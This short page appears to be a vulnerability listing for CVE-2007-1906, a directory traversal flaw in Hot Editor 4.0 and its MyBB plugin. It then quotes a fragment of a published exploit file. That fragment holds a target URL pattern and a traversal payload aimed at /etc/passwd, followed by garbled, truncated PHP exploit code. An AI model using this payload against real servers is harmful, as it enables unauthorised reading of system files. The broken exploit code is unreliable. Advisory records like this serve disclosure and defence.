CVE-2007-1906: Undefined Security Weakness

Directory traversal vulnerability in richedit/keyboard.php in eCardMAX HotEditor Hot Editor 4.0, and the HotEditor plugin for MyBB, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the first parameter...

hot-lfi.txt

Hot Editor Local File İnclude Exploit Expw0rm By Liz0ziM Target Url: example: http://victim.com/richedit/ File : example : ../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd ",$cek echo 'Finishim'; exit; echo ''; echo $cek; echo ''; fclose$ac; ? // Exploit Wo...